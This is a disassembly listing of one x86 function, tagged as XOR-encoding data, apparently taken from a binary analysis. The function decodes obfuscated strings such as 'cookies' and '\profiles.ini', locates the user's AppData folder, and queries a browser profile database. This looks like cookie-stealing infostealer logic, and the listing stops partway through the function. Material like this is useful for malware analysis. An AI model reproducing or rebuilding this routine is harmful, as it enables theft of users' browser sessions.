Function at 0x1460436
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe66bd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.015054e0
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0148ef50
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0148b390
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0xfdfafbf0
mov dword [ebp - 0x30], 0xeafdfe
mov byte [ebp - 0x2c], 1
nop
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x14604a0
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.01491600
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.0148aff0
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.01506760
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0xe6c2e0]
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460536
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1461dfa
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.01494f90
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0xf9e7e4cf
mov dword [ebp - 0x64], 0xfff5f1f1
mov dword [ebp - 0x60], 0xf0f4b2e8
mov word [ebp - 0x5c], 0xf6
mov byte [ebp - 0x5a], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x14605a1
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x14605c0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x1461dff
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.01494f90
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
push eax
call fcn.01716edc
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0xf0fae6c3
xor ecx, ecx
mov dword [ebp - 0x8d], 0xfcf4fe
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x1460670
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.01511d5e
add esp, 0xc
test eax, eax
jne 0x1461d0d
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.01506760
add esp, 0xc
mov dword [ebp - 0x52], 0xfee1f5c3
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x14606e0
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
push edx
call fcn.017291b6
lea ecx, [ebp - 0x43]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460720
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x1461dfa
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf0]
call fcn.01494f90
or esi, 4
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xf0]
call fcn.0148d260
or esi, 8
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x14607f0
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x14607e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460832
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.0142a030
mov byte [ebp - 4], 9
lea edi, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x146095f
push esi
push 0x2f
push edi
call fcn.01507f50
add esp, 0xc
test eax, eax
je 0x146095f
sub eax, edi
cmp eax, 0xffffffff
je 0x146095f
sub esp, 0x18
mov word [ebp - 0x55], 0x2f
mov edx, esp
mov byte [ebp - 0x53], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x55]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x14608c0
sub ecx, esi
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, edx
call fcn.0142a030
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.0148d550
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.01433be0
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x23c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x146094a
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x146093d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.0148d130
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.0148f740
mov esi, dword [ebp - 0xc8]
cmp dword [ebp - 0xc4], 0x10
lea edi, [ebp - 0xd8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x1460a53
push esi
push 0x5c
push edi
call fcn.01507f50
add esp, 0xc
test eax, eax
je 0x1460a53
sub eax, edi
cmp eax, 0xffffffff
je 0x1460a53
sub esp, 0x18
mov word [ebp - 0x46], 0x5c
mov edx, esp
mov byte [ebp - 0x44], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x46]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x14609c6
sub ecx, esi
lea eax, [ebp - 0x46]
push ecx
push eax
mov ecx, edx
call fcn.0142a030
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.0148d550
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.01433be0
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x1460a47
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x1460a3a
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.0148d130
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.0148f740
movaps xmm0, xmmword [0xe84e00]
xor ecx, ecx
movups xmmword [ebp - 0x101], xmm0
mov byte [ebp - 0xf1], 1
nop word [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x101], al
inc ecx
cmp ecx, 0xf
jb 0x1460a70
lea ecx, [ebp - 0x101]
mov byte [ebp - 0xf1], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460a91
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x244]
sub eax, edx
cmp eax, ecx
jb 0x1461dfa
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
push ecx
cmovae eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x101]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c8]
call fcn.01494f90
mov esi, dword [ebp - 0x24]
or esi, 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x100f6e1
xor ecx, ecx
nop
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x1460af0
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call fcn.0150a5d0
add esp, 8
test eax, eax
je 0x1461c17
push eax
call fcn.0150de58
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.0148ef50
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x160]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0148b390
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0xc0]
test al, al
jne 0x1460be4
push 8
mov byte [ebp - 0xc0], 1
call fcn.01504502
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.01504502
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0xb8], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x1460bf2
cmp al, 1
jne 0x1461e09
mov esi, dword [ebp - 0xb8]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.0148f120
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x160]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], eax
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.0148aff0
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
cmovae ecx, dword [ebp - 0x1c8]
call fcn.0143bcf0
test eax, eax
jne 0x1461bba
movaps xmm0, xmmword [0xe86920]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x263], 0xb9b8f49e
movaps xmm0, xmmword [0xe86620]
movups xmmword [ebp - 0x293], xmm0
mov dword [ebp - 0x25f], 0xb5ba87ad
movaps xmm0, xmmword [0xe86970]
movups xmmword [ebp - 0x283], xmm0
mov dword [ebp - 0x25b], 0xbbb4b7b4
movaps xmm0, xmmword [0xe85200]
movups xmmword [ebp - 0x273], xmm0
mov word [ebp - 0x257], 0xac
mov byte [ebp - 0x255], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x4d
jb 0x1460cd4
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x20]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2a3]
mov byte [ebp - 0x255], 0
call fcn.014e9e90
add esp, 0x14
test eax, eax
jne 0x1461baf
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.014c67c0
cmp eax, 0x64
jne 0x1461b37
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.0148ef50
mov byte [ebp - 4], 0x16
test edi, edi
je 0x1460d9e
cmp dword [edi + 0x2c], 0
je 0x1460d79
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x1460d79
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1460d74
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x1460da3
mov eax, dword [edi]
test eax, eax
je 0x1460d9e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1460d90
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov dword [ebp - 0x18], eax
test edi, edi
je 0x1460e04
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x1460de7
cmp byte [esi + 0x1e], 0
jne 0x1460dca
mov edx, esi
cmp ecx, 0xc0a
jne 0x1460de2
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x1460dee
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x1460e04
push eax
call dword [0xe93d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.01504502
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x224], esi
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x18]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460e50
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.0142a030
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x168], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x7f], 0xf7f8fbf7
mov dword [ebp - 0x7b], 0x100f6fe
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 6
jb 0x1460e87
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x78], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x164]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x170], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x168], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x164], edx
call fcn.0148aff0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x49]
xorps xmm0, xmm0
mov word [ebp - 0x49], 0x31
mov byte [ebp - 0x47], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1460f16
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.0142a030
mov byte [ebp - 4], 0x19
test edi, edi
je 0x1460f88
cmp dword [edi + 0x2c], 0
je 0x1460f63
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x1460f63
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1460f5b
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x1460f8d
mov eax, dword [edi]
test eax, eax
je 0x1460f88
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1460f7a
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x1460ff3
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x1460fd3
cmp byte [esi + 0x1e], 0
jne 0x1460fb6
mov eax, esi
cmp ecx, 0xc0a
jne 0x1460fce
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x1460fda
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1460ff0
push eax
call dword [0xe93d38]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xf8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1461016
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.0142a030
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xorps xmm0, xmm0
push dword [ebp - 0xe0]
mov esi, dword [ebp - 0x108]
cmovae eax, ecx
mov edx, dword [ebp - 0xf8]
setae byte [ebp - 0x19]
cmp dword [ebp - 0xf4], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x108]
cmovae ecx, esi
movq qword [ebp - 0x178], xmm0
push eax
setae byte [ebp - 0x1a]
mov byte [ebp - 0x180], 4
call fcn.0149d290
mov byte [ebp - 0x140], al
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x9b], 0xe6e1e0fb
mov dword [ebp - 0x97], 0xe3f5f6d8
mov word [ebp - 0x93], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x14610d0
lea eax, [ebp - 0x9b]
mov byte [ebp - 0x92], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov edi, dword [ebp - 0x140]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x180], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x178], ecx
lea ecx, [ebp - 0x180]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x174], edx
call fcn.0148aff0
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x20]
je 0x1461170
mov ecx, dword [ebp - 0xf4]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x1461166
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push esi
call fcn.01504783
add esp, 8
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x16
je 0x14611ac
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x14611a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
test edi, edi
je 0x1461201
cmp dword [edi + 0x2c], 0
je 0x14611dc
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x14611dc
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14611d4
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x1461206
mov eax, dword [edi]
test eax, eax
je 0x1461201
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14611f3
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov dword [ebp - 0x14], eax
test edi, edi
je 0x1461267
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x146124a
cmp byte [esi + 0x1e], 0
jne 0x146122d
mov eax, esi
cmp ecx, 0xc0a
jne 0x1461245
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x1461251
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1461267
push eax
call dword [0xe93d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x190], 3
push 0x18
movq qword [ebp - 0x188], xmm0
call fcn.01504502
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10b]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], esi
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x14612c0
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.0142a030
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x188], esi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x40], 0xfee1f5e3
mov word [ebp - 0x3c], 0x100
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 4
jb 0x14612f6
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x184]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x190], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x190]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], edx
call fcn.0148aff0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
mov word [ebp - 0x4c], 0x31
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1461385
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.0142a030
mov byte [ebp - 4], 0x1e
test edi, edi
je 0x14613f7
cmp dword [edi + 0x2c], 0
je 0x14613d2
mov eax, 3
cmp ax, word [edi + 0x30]
jae 0x14613d2
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14613ca
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x78
jmp 0x14613fc
mov eax, dword [edi]
test eax, eax
je 0x14613f7
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14613e9
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x1461462
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x1461442
cmp byte [esi + 0x1e], 0
jne 0x1461425
mov eax, esi
cmp ecx, 0xc0a
jne 0x146143d
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x1461449
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x146145f
push eax
call dword [0xe93d38]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1461485
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.0142a030
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
xorps xmm0, xmm0
push dword [ebp - 0xf8]
mov esi, dword [ebp - 0xf0]
cmovae eax, ecx
mov edx, dword [ebp - 0xe0]
setae byte [ebp - 0x1a]
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xf0]
cmovae ecx, esi
movq qword [ebp - 0x1e8], xmm0
push eax
setae byte [ebp - 0x19]
mov byte [ebp - 0x1f0], 4
call fcn.0149d290
mov byte [ebp - 0x138], al
add esp, 8
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov dword [ebp - 0x77], 0xe3f6f1e0
mov dword [ebp - 0x73], 0x100fde5
nop dword [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 6
jb 0x1461530
lea eax, [ebp - 0x77]
mov byte [ebp - 0x70], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov edi, dword [ebp - 0x138]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x134]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x1e4], edx
call fcn.0148aff0
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x1e
